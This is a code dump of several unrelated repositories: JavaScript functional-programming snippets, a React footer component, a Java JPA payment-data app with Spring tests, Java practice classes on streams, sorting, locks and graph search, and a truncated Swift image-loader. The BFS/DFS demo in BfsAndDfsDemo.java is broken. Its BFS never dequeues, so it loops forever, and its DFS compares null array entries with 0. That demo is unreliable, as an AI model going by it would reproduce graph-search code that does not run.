control that prevents unexpected chnages to the data structure. An immutable data structure is one that cannot change the data structure itself, only copy it with the changes applied. </dd> </dl> <br> <br> <br> <br> # What is immutability? <dl> <dd> </dd> </dl> <br> <br> <br> <br><file_sep>/memoizationExample.js "use strict"; function repeat(count) { let str; return function hashTagIt() { if (str == undefined) { str = "".padStart(count, "#"); } return str; }; } let blockedOut = repeat(10); console.log(blockedOut()); console.log(blockedOut()); // memoization with utility library // function repeat(count) { // return function hashIt() { // return "".padStart(count, "#"); // }; // } // let blockedOut = repeat(10); // console.log(blockedOut()); // console.log(blockedOut()); // console.log(blockedOut());<file_sep>/flipAdapterExample.js "use strict"; function flip(fn) { return function flipped(arg1, arg2, ...args) { return fn(arg2, arg1,...args); }; } function f(...args) { return args; } let flipThis = flip(f); console.log(flipThis(1,2,3,4)); // [ 2, 1, 3, 4 ]
396cf5705cf12ea7df9aa41c5b16c49929903282
[ "JavaScript", "Markdown" ]
4
JavaScript
john-azzaro/Functional-Programming-from-the-Beginning
f1b27601d95297f8cb7e443d33c5dd64010080f1
b899027aaf720fc92bc7c7ef33789df0106b605e
refs/heads/master
<file_sep># everquestjs EverQuest asset management <file_sep>'use strict'; import 'zlib'; export function unpackArchive(options) { console.log(options); return; } export function packArchive(options) { console.log(options); return; }
72e2bc7f77b381eefc8add25b7c9cb785dbdd10e
[ "Markdown", "JavaScript" ]
2
Markdown
tylerdmace/everquestjs
dd6217203dd6c4e8565df734b17715274c395d3d
59a6a68d9d8176745a506a5b8a3c1fcc959801d7
refs/heads/master
<repo_name>hakkisagdic/github-profile-readme-generator<file_sep>/src/components/footer.js import React from "react" import links from "../constants/page-links" import logo from "../images/mdg.png" import discord from "../images/Discord-Logo.png" import { Link } from "gatsby" const Footer = () => { return ( <div className="bg-gray-100 p-4 flex flex-col justify-center items-center shadow-inner mt-2"> <div className="w-full flex justify-evenly py-2"> <div className="mr-6"> <h1 className="text-base font-bold font-title sm:text-2xl flex-col items-end"> <img src={logo} className="h-24" alt="github profile markdown generator logo" /> GitHub Profile README Generator </h1> </div> <div> <div className="mb-2 font-bold font-medium font-title"> <strong>Pages</strong> </div> <div> <Link to={links.addons} activeStyle={{ color: "#002ead" }}> Addons </Link> </div> <div> <Link to={links.support} activeStyle={{ color: "#002ead" }}> Support </Link> </div> <div> <Link to={links.about} activeStyle={{ color: "#002ead" }}> About </Link> </div> </div> <div> <div className="mb-2 font-bold font-medium font-title"> <strong>More</strong> </div> <div> <a href="https://github.com/rahuldkjain/github-profile-readme-generator" aria-label="Github rahuldkjain/github-profile-readme-generator" target="blank" > Github </a> </div> <div> <a href="https://github.com/rahuldkjain/github-profile-readme-generator/releases" aria-label="Releases on Github rahuldkjain/github-profile-readme-generator" target="blank" > Releases </a> </div> </div> <div> <div className="mb-2 font-bold font-medium font-title"> <strong>Community</strong> </div> <div> <a href="https://discord.gg/HHMs7Eg" aria-label="Discord of the community" target="blank" > <img src={discord} className="h-12" alt="Discord of the community" /> </a> </div> </div> </div> <div className="py-2 mt-2"> Developed in India{" "} <span role="img" aria-label="india"> {" "} 🇮🇳 </span> </div> </div> ) } export default Footer
0c6d360721a00bf30e7ba4599d72aa33d0fd464e
[ "JavaScript" ]
1
JavaScript
hakkisagdic/github-profile-readme-generator
4a99f2f599abea8d7d1f41b74c0ee3208a3cb05c
53bb40f5ba607c068e1ca72c4553c6cf8b3fa4a3
refs/heads/blogsit_20200416
<repo_name>blogsit/blogsit_java<file_sep>/src/main/java/com/blogsit/base/Java8Tester.java package com.blogsit.base; import java.util.Arrays; import java.util.IntSummaryStatistics; import java.util.List; import java.util.Random; import java.util.stream.Collectors; public class Java8Tester { public static void main(String[] args) { Java8Tester tester = new Java8Tester(); MathOperation addition = (a, b) -> a + b; MathOperation subtraction = (a, b) -> a - b; MathOperation multiOperation = (a, b) -> a * b; MathOperation division = (int a, int b) -> a / b; System.out.println("a + b = " + tester.operate(1, 2, addition)); System.out.println("a - b = " + tester.operate(3, 2, subtraction)); System.out.println("a * b = " + tester.operate(5, 2, multiOperation)); System.out.println("a / b = " + tester.operate(5, 2, division)); SayHello sayHello = message -> System.out.println("message----------"+message); SayHello sayHelloTWo = message -> message.isEmpty(); sayHello.sayMessage("Runoob"); sayHelloTWo.sayMessage("Runoob"); List<String> strings = Arrays.asList("abc", "", "bc", "efg", "abcd", "", "jkl"); System.out.println("java8 新特性的编写"); long count = strings.stream().filter(string -> string.isEmpty()).count(); System.out.println("空字符的个数" + count); count = strings.stream().filter(string -> string.length() == 3).count(); System.out.println("字符长度为3的个数" + count); List<String> filtered = strings.stream().filter(string -> !string.isEmpty()).collect(Collectors.toList()); System.out.println("过滤空字符串的方法" + filtered); String mergeString = strings.stream().filter(string -> !string.isEmpty()).collect(Collectors.joining(",")); System.out.println("过滤空字符串并且使用, 连接合并" + mergeString); List<Integer> numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5); List<Integer> squaresList = numbers.stream().map(i -> i * i).distinct().collect(Collectors.toList()); System.out.println("Squares List: " + squaresList); List<Integer> integers = Arrays.asList(1, 2, 13, 4, 15, 6, 17, 8, 19); IntSummaryStatistics stats = integers.stream().mapToInt((x) -> x).summaryStatistics(); System.out.println("列表中最大的数 : " + stats.getMax()); System.out.println("列表中最小的数 : " + stats.getMin()); System.out.println("所有数之和 : " + stats.getSum()); System.out.println("平均数 : " + stats.getAverage()); System.out.println("随机数如下"); Random random = new Random(); random.ints().limit(10).sorted().forEach(System.out::println); count = strings.parallelStream().filter(string -> string.isEmpty()).count(); System.out.println("空字符串的数量为: " + count); } interface MathOperation { int operation(int a, int b); } interface SayHello { void sayMessage(String message); } private int operate(int a, int b, MathOperation mathOperation) { return mathOperation.operation(a, b); } } <file_sep>/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>blogsit.java</groupId> <artifactId>blogsit-java</artifactId> <version>1.0.0-SNAPSHOT</version> <properties> <org.slf4j.version>1.7.25</org.slf4j.version> <maven_compiler_plugin_version>3.2</maven_compiler_plugin_version> <java_source_version>1.8</java_source_version> <java_target_version>1.8</java_target_version> <file_encoding>UTF-8</file_encoding> <maven_source_plugin_version>2.4</maven_source_plugin_version> <maven_jar_plugin_version>2.5</maven_jar_plugin_version> <maven_war_plugin_version>2.5</maven_war_plugin_version> <maven_resources_plugin_version>2.5</maven_resources_plugin_version> <maven_install_plugin_version>2.5.2</maven_install_plugin_version> <maven_deploy_plugin_version>2.8.2</maven_deploy_plugin_version> <maven_surefire_plugin_version>2.8</maven_surefire_plugin_version> <maven_clean_plugin_version>2.4.1</maven_clean_plugin_version> <maven_javadoc_plugin_version>2.7</maven_javadoc_plugin_version> <checkDeployRelease_skip>false</checkDeployRelease_skip> <maven_deploy_skip>false</maven_deploy_skip> <skipTests>false</skipTests> </properties> <dependencyManagement> <dependencies> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.3</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>${org.slf4j.version}</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <version>${org.slf4j.version}</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.36</version> </dependency> <dependency> <groupId>org.asynchttpclient</groupId> <artifactId>async-http-client</artifactId> <version>2.4.4</version> </dependency> <dependency> <groupId>org.reactivestreams</groupId> <artifactId>reactive-streams</artifactId> <version>1.0.2</version> </dependency> <dependency> <groupId>io.netty</groupId> <artifactId>netty-handler</artifactId> <version>4.1.22.Final</version> </dependency> <dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId> <version>28.2-jre</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.29</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.4</version> </dependency> <dependency> <groupId>commons-lang</groupId> <artifactId>commons-lang</artifactId> <version>2.6</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>3.12</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>3.12</version> </dependency> </dependencies> </dependencyManagement> <dependencies> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> </dependency> <dependency> <groupId>org.asynchttpclient</groupId> <artifactId>async-http-client</artifactId> </dependency> <dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.4</version> </dependency> <dependency> <groupId>commons-lang</groupId> <artifactId>commons-lang</artifactId> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-clean-plugin</artifactId> <version>${maven_clean_plugin_version}</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>${maven_jar_plugin_version}</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>${maven_war_plugin_version}</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-install-plugin</artifactId> <version>${maven_install_plugin_version}</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-deploy-plugin</artifactId> <version>${maven_deploy_plugin_version}</version> <configuration> <skip>${maven_deploy_skip}</skip> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-javadoc-plugin</artifactId> <version>${maven_javadoc_plugin_version}</version> <configuration> <encoding>UTF-8</encoding> <charset>UTF-8</charset> <quiet>true</quiet> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>${maven_compiler_plugin_version}</version> <configuration> <source>${java_source_version}</source> <target>${java_target_version}</target> <encoding>${file_encoding}</encoding> <compilerArgs> <arg>-J-Duser.country=US</arg><!--<arg>-verbose</arg>--> </compilerArgs> <debug>true</debug> <fork>true</fork> </configuration> </plugin><!--https://maven.apache.org/plugins/maven-resources-plugin/examples/binaries-filtering.html --> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <version>${maven_resources_plugin_version}</version> <configuration><!-- https://maven.apache.org/plugins/maven-resources-plugin/examples/encoding.html --> <encoding>UTF-8</encoding> <useDefaultDelimiters>false</useDefaultDelimiters><!-- This means expression ${ } and @ @ preceded will replace by the expression : \${java.home} -> ${java.home}. --> <escapeString>\</escapeString> <delimiters> <delimiter>${*}</delimiter> </delimiters><!-- The plugin will prevent binary files filtering without adding some excludes configuration for the following file extensions jpg, jpeg, gif, bmp and png. --><!-- https://maven.apache.org/plugins/maven-resources-plugin/examples/binaries-filtering.html --><!-- https://blog.csdn.net/u014515854/article/details/79486461 --> <nonFilteredFileExtensions> <nonFilteredFileExtension>pdf</nonFilteredFileExtension> <nonFilteredFileExtension>swf</nonFilteredFileExtension> </nonFilteredFileExtensions> </configuration> </plugin> <plugin><!-- 源码插件 --> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-source-plugin</artifactId> <version>${maven_source_plugin_version}</version><!-- 发布时自动将源码同时发布的配置 --> <executions><!-- https://stackoverflow.com/questions/10567551/difference-between-maven-source-plugin-jar-and-jar-no-fork-goal --> <execution> <id>attach-sources</id> <goals> <goal>jar-no-fork</goal> </goals> </execution> </executions> <configuration> <attach>true</attach> </configuration> </plugin><!-- test plugin --> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <version>${maven_surefire_plugin_version}</version> <configuration> <skipTests>${skipTests}</skipTests> </configuration> </plugin> </plugins> <resources> <resource> <directory>src/main/resources</directory> </resource> </resources> </build> </project><file_sep>/src/main/java/com/blogsit/base/BfsAndDfsDemo.java package com.blogsit.base; import java.util.ArrayDeque; import java.util.Queue; public class BfsAndDfsDemo { public static void dfs(Integer[][] M, Integer[] visit, int i) { for (int j = 0; j < M.length; j++) { if (M[i][j] == 1 && visit[j] == 0) { visit[j] = 1; dfs(M, visit, j); System.out.println("DFS"+ M[i][j]); } } } public static void bfs(Integer[][] M, Integer[] visit, int i) { ArrayDeque<Integer> q = new ArrayDeque<Integer>(); q.add(i); while (q.size() > 0) { int temp = q.peek(); for (int j = 0; j < M.length; j++) { if (M[temp][j] == 1 && visit[j] == null) { visit[j] = 1; q.add(j); System.out.println("BFS"+ M[i][j]); } } } } public static int FindCircleNum(Integer[][] M) { int N = M.length; int circle = 0; //朋友圈数 Integer[] visit = new Integer[N]; for (int i = 0; i < N; i++) { if (visit[i] == null) //还没被遍历过 { //dfs(M,visit,i); //使用dfs搜索并标记与其相关的学生 bfs(M, visit, i); //使用bfs搜索并标记与其相关的学生 circle++; } } return circle; } public static void main(String[] args) { Integer[][] M = { {1,2,3,4,5}, {1,2,3,4,5}, {1,2,3,4,5}, {1,2,3,4,5}, {1,2,3,4,5} }; FindCircleNum(M); } } <file_sep>/src/main/java/com/blogsit/arithmetic/SortArithmetic.java package com.blogsit.arithmetic; import java.util.Arrays; import java.util.Collections; import java.util.List; /** * Sort Arithmetic by blogsit * 注意点:1、稳定排序和非稳定排序的区别:如果a在b之前,当A=B时 a可能会出现在b后面就是非稳定排序。 * 2、对排序数据的总的操作次数反映当Ñ变化时,操作次数呈现什么规律。 * 3、是指算法在计算机内执行时所需存储空间的度量,它也是数据规模Ñ的函数。 */ public class SortArithmetic { /** * 冒泡排序 * * @param input * @return */ public Integer[] bubbleSort(Integer[] input) { int midTemp = 0; int length = input.length; for (int i = 0; i < length; i++) { for (int j = 0; j < length - 1 - i; j++) { if (input[j] > input[j + 1]) {//相邻元素两个对比 midTemp = input[j + 1]; input[j + 1] = input[j]; input[j] = midTemp; } } } return input; } /** * 选择排序 * * @param inputArr * @return */ public Integer[] selectSort(Integer[] inputArr) { int length = inputArr.length; int minIndex = 0;//最小数的索引 int temp = 0;//中间值 for (int i = 0; i < length - 1; i++) { minIndex = i; for (int j = i + 1; j < length; j++) { if (inputArr[j] < inputArr[minIndex]) {//寻找最小数 minIndex = j;//将最小数的索引保存 } } temp = inputArr[i]; inputArr[i] = inputArr[minIndex]; inputArr[minIndex] = temp; } return inputArr; } /** * 插入排序 * * @param input */ public Integer[] insertArray(Integer[] input) { int length = input.length; int preIndex = 0; int current = 0; for (int i = 1; i < length; i++) { preIndex = i - 1; current = input[i]; while (preIndex >= 0 && input[preIndex] > current) { input[preIndex + 1] = input[preIndex]; preIndex--; } input[preIndex + 1] = current; } return input; } public static void main(String[] args) { List<String> strings = Arrays.asList("2","4","6","2","3","1"); Collections.sort(strings); for (String i: strings) { System.out.println(i); } } } <file_sep>/src/main/java/com/blogsit/lock/LockDemo.java package com.blogsit.lock; import java.util.concurrent.TimeUnit; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; public class LockDemo { private static final Lock lock = new ReentrantLock(false); public static void main(String[] args) { /* for (int i = 0; i <100 ; i++) { new Thread(() -> test(), "线程"+i ).start(); }*/ new Thread(() -> test1(), "线程A").start(); new Thread(() -> test1(), "线程B").start(); new Thread(() -> test1(), "线程C").start(); new Thread(() -> test1(), "线程D").start(); new Thread(() -> test1(), "线程E").start(); } public static void test() { try { lock.lock(); System.out.println(Thread.currentThread().getName() + "获取锁"); } catch (Exception e) { e.printStackTrace(); } finally { System.out.println(Thread.currentThread().getName() + "释放锁"); lock.unlock(); } } public static void test1() { for (int i = 0; i < 2; i++) { try { lock.lock(); System.out.println(Thread.currentThread().getName() + "获取锁"); TimeUnit.SECONDS.sleep(2); } catch (Exception e) { e.printStackTrace(); } finally { lock.unlock(); } } } }
95691ca4bb6194c3bdb5e7251f593b7aa151904b
[ "Java", "Maven POM" ]
5
Java
blogsit/blogsit_java
bdca3e02ba0d39292d96bb83ceaedae554c81ade
98a794ec4f21b469807df515e8293ee7418df681
refs/heads/master
<repo_name>snehalahire-idyllic/cafe<file_sep>/config/routes.rb Rails.application.routes.draw do get 'users/new' resources :restaurants do resources :menus do resources :items do end end end root 'restaurants#home' get '/signup', to:'users#new' end <file_sep>/test/models/user_test.rb require 'test_helper' class UserTest < ActiveSupport::TestCase def setup @user = User.new(name: "snehal",email:"<EMAIL>",password:"asd",password_confirmation: "asd") end end <file_sep>/app/models/restaurant.rb class Restaurant < ApplicationRecord has_many :menus validates_presence_of :name,:ratings,:locality def self.search_by_name(name) if name Restaurant.where("name like?","%#{name}%") end end def self.search_by_locality(pattern) if pattern Restaurant.where("locality like?","%#{pattern}%") end end def self.search_by_item(pattern) if pattern Restaurant.includes(menus:[:items]) .references(menus:[:items]) .where("items.name LIKE '%#{pattern}%'") end end def self.search_by_rating(rating) if rating Restaurant.where("ratings >2") end end def self.search_by_rest(id) menu=Restaurant.find(id).menus menu.each do |x| x.items.each do |y| puts y.name end end end def self.search_by(addr,rating,item_name) Restaurant.includes(menus:[:items]) .references(menus:[:items]) .where(" items.name LIKE ? AND restaurants.locality like ? AND restaurants.ratings > ?", '%#{item_name}%', "%#{addr}%","#{rating}") end end <file_sep>/app/controllers/menus_controller.rb class MenusController < ApplicationController before_action :set_restaurant skip_before_filter :verify_authenticity_token def create #@menu = @restaurant.menus.create(menu_params) @menu = Menu.create(restaurant_id: @restaurant.id, name: menu_params[:name], description: menu_params[:description]) #redirect_to restaurant_path render "restaurants/show" end def destroy @menu= Menu.find(params[:id]).destroy end private def set_restaurant @restaurant= Restaurant.find(params[:restaurant_id]) end def menu_params params.permit(:name, :description) end end <file_sep>/db/seeds.rb # This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) locality_list = ["Aundh","Camp","Kothrud","Deccan","Kharadi","Pashan"] restaurant_names = ["Cream Corner","Gorge","Blue Nile","Chaitnya","Marzorin","<NAME>ia","Priya","CCD","Emali","Chinese Room","Chung fa"] rating = [1,2,3,4,5] rates =[100,50,250,500,700,245] menu_data = {"Soups" => "Veg and NonVeg Soups", "Salads" => "Salads with tomato,onion", "Indian" => "Indian veg & Nonveg marinated with yogurt,indian spices", "Asian" => "Asian including starters", "Desserts & Beverages" => "Ice creams,milk shakes,Juices,lassi"} items = { "Chicken Tikka" => 6, "Mix Veg Gravy" => 1, "Palak Paneer" => 1, "Aloo Matar" => 1, "Mutton Biryani" => 1, "Chicken hariyali kabab" =>3, } # items = { # "Chicken Tikka" => "chicken marinated with yogurt,indian spices and grilled in tandoori", # "Mix Veg Gravy" => "Assorted veg cooked in rich gravy", # "Palak Paneer" => "Paneer cooked in spinach puree", # "Aloo Matar" => "Potato cubes cooked with green peas", # "<NAME>" => "Slow cooked chunks of mutton cooked with basmati rice" # } restaurant_names.each do |name| r = Restaurant.create(name: name, locality: locality_list.sample, ratings: rating.sample) 3.times do |name,description| mname = menu_data.keys.sample m = Menu.create(name: mname , description: menu_data[mname], restaurant_id: r.id) #if m.name == "Indian" 3.times do |n| iname = items.keys.sample Item.create(name: iname, rate: rates.sample, quantity: items[iname],menu_id: m.id) end #end end end <file_sep>/app/models/item.rb class Item < ApplicationRecord belongs_to :menu def self.search(pattern) # if pattern.blank? # blank? covers both nil and empty string # all # else @item_search=Item.where('name LIKE ?', "%#{pattern}%") #end end end <file_sep>/app/controllers/items_controller.rb class ItemsController < ApplicationController before_action :set_menu def create @item = @menu.items.create(item_params) redirect_to @menu end def destroy @item = menu.item.find(params[:id]).destroy rendirect_to @menu end def show @items = Item.search(params[:id]) respond_to do |format| format.html {redirect_to restaurant_menu} format.json { render json: @item } end end private def set_menu @menu = Menu.find(params[:menu_id]) end def item_params params[:item].permit(:name, :rate, :quantity) end end
fd3a91d07af47ba97c7fe6d362ba31d2df090136
[ "Ruby" ]
7
Ruby
snehalahire-idyllic/cafe
aad049e9fadbeadf5fbf963757aa047b3645768b
7c6811b3a9b154d9b15dde56612e544bbd817406
refs/heads/master
<file_sep><?php require_once "src/RepeatCounter.php"; class RepeatCounterTest extends PHPUnit_Framework_TestCase { // function test_countRepeats_sameWord() // { // //Arrange // $test_RepeatCounter = new RepeatCounter; // $word = "dog"; // $string = "dog"; // // //Act // $result = $test_RepeatCounter->countRepeats($word, $string); // // //Assert // $this->assertEquals("dog", $result); // // } function test_countRepeats_sameWordCount() { //Arrange $test_RepeatCounter = new RepeatCounter; $word = "water"; $string = "water"; //Act $result = $test_RepeatCounter->countRepeats($word, $string); //Assert $this->assertEquals(1, $result); } function test_countRepeats_differentWord() { //Arrange $test_RepeatCounter = new RepeatCounter; $word = "apple"; $string = "apples"; //Act $result = $test_RepeatCounter->countRepeats($word, $string); //Assert $this->assertEquals("No words in string match original word.", $result); } function test_countRepeats_countWordsInString() { //Arrange $test_RepeatCounter = new RepeatCounter; $word = "cat"; $string = "The cat in the hat was the wiliest cat of all the cats"; //Act $result = $test_RepeatCounter->countRepeats($word, $string); //Assert $this->assertEquals(2, $result); } function test_countRepeats_compareDifferentWordsInString() { //Arrange $test_RepeatCounter = new RepeatCounter; $word = "penguin"; $string = "I went to the zoo to see a lion."; //Act $result = $test_RepeatCounter->countRepeats($word, $string); //Assert $this->assertEquals("No words in string match original word.", $result); } } ?> <file_sep><?php class RepeatCounter { function countRepeats ($word, $string) { $lc_word = strtolower($word); $lc_string = strtolower($string); $string_of_words = explode(" ", $lc_string); $repeats = array(); if (!in_array($lc_word, $string_of_words)) { return "No words in string match original word."; } else { foreach ($string_of_words as $individual_word) { if ($lc_word == $individual_word) { array_push($repeats, $individual_word); } } } return count($repeats); } } ?>
27005851a62b642804a7085224a4a8205ead8cdf
[ "PHP" ]
2
PHP
alexdbrown/count_repeats
434e8d567cad09fcaa46559fdfbee9244f58f782
46994967ab9d5426d9cd661247fa4264eaf69905
refs/heads/master
<file_sep>package com.chriscorp.epay; import static org.junit.Assert.assertEquals; import com.chriscorp.epay.model.*; import com.chriscorp.epay.repository.PaymentDataJpaRepository; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import org.springframework.transaction.annotation.Transactional; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import java.util.Date; @ContextConfiguration(locations = {"classpath:com/chriscorp/epay/applicationTests-context.xml"}) @RunWith(SpringJUnit4ClassRunner.class) public class PaymentDataTests { @Autowired private PaymentDataJpaRepository paymentDataJpaRepository; @PersistenceContext private EntityManager entityManager; @Test @Transactional public void testSaveAndGetCreditCard() throws Exception { Client c = new Client(); c.setClientId("WallyMart"); Buyer b1 = new Buyer(); b1.setName("Gunnar"); b1.setEmail("<EMAIL>"); b1.setCpf(12341234); CreditCard c1 = new CreditCard(); c1.setCreditCardHolderName("<NAME>"); c1.setCreditCardNumber(1234_1234_1234_1234L); c1.setExperiationDate(new Date(2020,1,1)); c1.setCcv(123); PaymentData p1 = new PaymentData(); p1.setClient(c); p1.setBuyer(b1); p1.setCreditCard(c1); p1.setPaymentType(PaymentType.CREDIT_CARD); p1 = paymentDataJpaRepository.saveAndFlush(p1); entityManager.clear(); PaymentData otherPayment = paymentDataJpaRepository.findOne(p1.getId()); assertEquals("Gunnar", otherPayment.getBuyer().getName()); assertEquals("WallyMart", otherPayment.getClient().getClientId()); assertEquals(PaymentType.CREDIT_CARD, otherPayment.getPaymentType()); assertEquals("<NAME>", otherPayment.getCreditCard().getCreditCardHolderName()); paymentDataJpaRepository.delete(p1); } @Test @Transactional public void testSaveAndGetBoleto() throws Exception { Client c = new Client(); c.setClientId("WallyMart"); Buyer b1 = new Buyer(); b1.setName("Gunnar"); b1.setEmail("<EMAIL>"); b1.setCpf(12341234); Boleto bNr1 = new Boleto(); bNr1.setBoletoNumber("987654321"); PaymentData p1 = new PaymentData(); p1.setClient(c); p1.setBuyer(b1); p1.setBoleto(bNr1); p1.setPaymentType(PaymentType.BOLETO); p1 = paymentDataJpaRepository.saveAndFlush(p1); entityManager.clear(); PaymentData otherPayment = paymentDataJpaRepository.findOne(p1.getId()); assertEquals("Gunnar", otherPayment.getBuyer().getName()); assertEquals("WallyMart", otherPayment.getClient().getClientId()); assertEquals(PaymentType.BOLETO, otherPayment.getPaymentType()); assertEquals("987654321", otherPayment.getBoleto().getBoletoNumber()); paymentDataJpaRepository.delete(p1); } } <file_sep>package com.chriscorp.epay.model; import javax.persistence.*; @Entity public class Boleto { @Id @GeneratedValue(strategy = GenerationType.AUTO) private long id; public long getId() { return id; } public String getBoletoNumber() { return boletoNumber; } public void setBoletoNumber(String boletoNumber) { this.boletoNumber = boletoNumber; } private String boletoNumber; } <file_sep>delete model; delete modeltype; delete manufacturer; delete location; <file_sep>Enhanced Payment ============ A small application that manages payment transaction. It consist of an user interface made with JavaFX, a Java API for handling payment transaction and persistent the data with JPA, Spring, H2 embedded db. Tools needed ------------- You need the following tools * git * JDK 1.8+ * Maven 3.x+ * An IDE e.g (Eclipse, IntelliJ, Netbeans and more) Get started --------------- To run this locally, do the following steps. * Clone project to your computer using git. Use the Github clone. * Import the project to your IDE by using the maven pom.xml. * Run the JUnit tests in the src/test/java folder. <file_sep>package com.chriscorp.epay.repository; import com.chriscorp.epay.model.PaymentData; import org.springframework.data.jpa.repository.JpaRepository; public interface PaymentDataJpaRepository extends JpaRepository<PaymentData, Long> { } <file_sep>package com.chriscorp.epay.repository; import com.chriscorp.epay.model.Client; import org.springframework.data.jpa.repository.JpaRepository; public interface ClientJpaRepository extends JpaRepository<Client, Long> { } <file_sep>package com.chriscorp.epay.model; import javax.persistence.*; import java.util.Date; @Entity public class CreditCard { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; @Column(length = 50) private String creditCardHolderName; private long creditCardNumber; @Temporal(TemporalType.DATE) private Date experiationDate; private int ccv; public Long getId() { return id; } public String getCreditCardHolderName() { return creditCardHolderName; } public void setCreditCardHolderName(String creditCardHolderName) { this.creditCardHolderName = creditCardHolderName; } public long getCreditCardNumber() { return creditCardNumber; } public void setCreditCardNumber(long creditCardNumber) { this.creditCardNumber = creditCardNumber; } public Date getExperiationDate() { return experiationDate; } public void setExperiationDate(Date experiationDate) { this.experiationDate = experiationDate; } public int getCcv() { return ccv; } public void setCcv(int ccv) { this.ccv = ccv; } }
2a3eb0dc02a232a2272cd8e5e3ac88715041502b
[ "Markdown", "Java", "SQL" ]
7
Java
christer7/enhancedpay
b5213449f5698e362d90c73b60159a953918f434
6a4f701e3ea5c6448d703ad24009b184254543fc
refs/heads/master
<repo_name>subhadeep-pal/Image-URL-Loader<file_sep>/README.md # Image-URL-Loader This file is written in Swift 3.0 and works with Xcode 8.0+ The ImageLoader will asynchronously load the image from the internet and save to cahce so that it need not be downloaded again. The loader has a protocol `ImageLoaderProtocol` that your controller needs to conforn to. ### Installation You can just drag and drop the file into your project and use it. To use in cell for row at index path: ```sh override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = tableView.dequeueReusableCell(withIdentifier: "tweetCell", for: indexPath) as! CustomTableViewCell if let image = ImageLoader.cache.object(forKey: tweet.imageUrl as AnyObject) as? Data{ let cachedImage = UIImage(data: image) cell.profileImageView.image = cachedImage } else { let imageLoader = ImageLoader(delegate: self, indexPath: indexPath) imageLoader.imageFromUrl(urlString: tweet.imageUrl) cell.profileImageView.image = UIImage(named: "placeholder") } return cell } ``` Using the Delegate Method: ```sh func imageLoaded(image: UIImage, forIndexPath indexPath: IndexPath) { if let cell = tableView.cellForRow(at: indexPath) as? CustomTableViewCell { cell.profileImageView.image = image } } ``` <file_sep>/ImageLoader.swift // // ImageLoader.swift // News // // Created by <NAME> on 18/02/17. // Copyright © 2017 <NAME>. All rights reserved. // github: https://github.com/subhadeep-pal/Image-URL-Loader import UIKit protocol ImageLoaderProtocol: class { func imageLoaded(image: UIImage, forIndexPath indexPath: IndexPath) } class ImageLoader: NSObject { static let cache = NSCache<AnyObject, AnyObject>() weak var delegate: ImageLoaderProtocol? var indexPath: IndexPath? init(urlString: String, delegate: ImageLoaderProtocol, indexPath: IndexPath) { self.delegate = delegate self.indexPath = indexPath super.init() self.imageFromUrl(urlString: urlString) } override init() 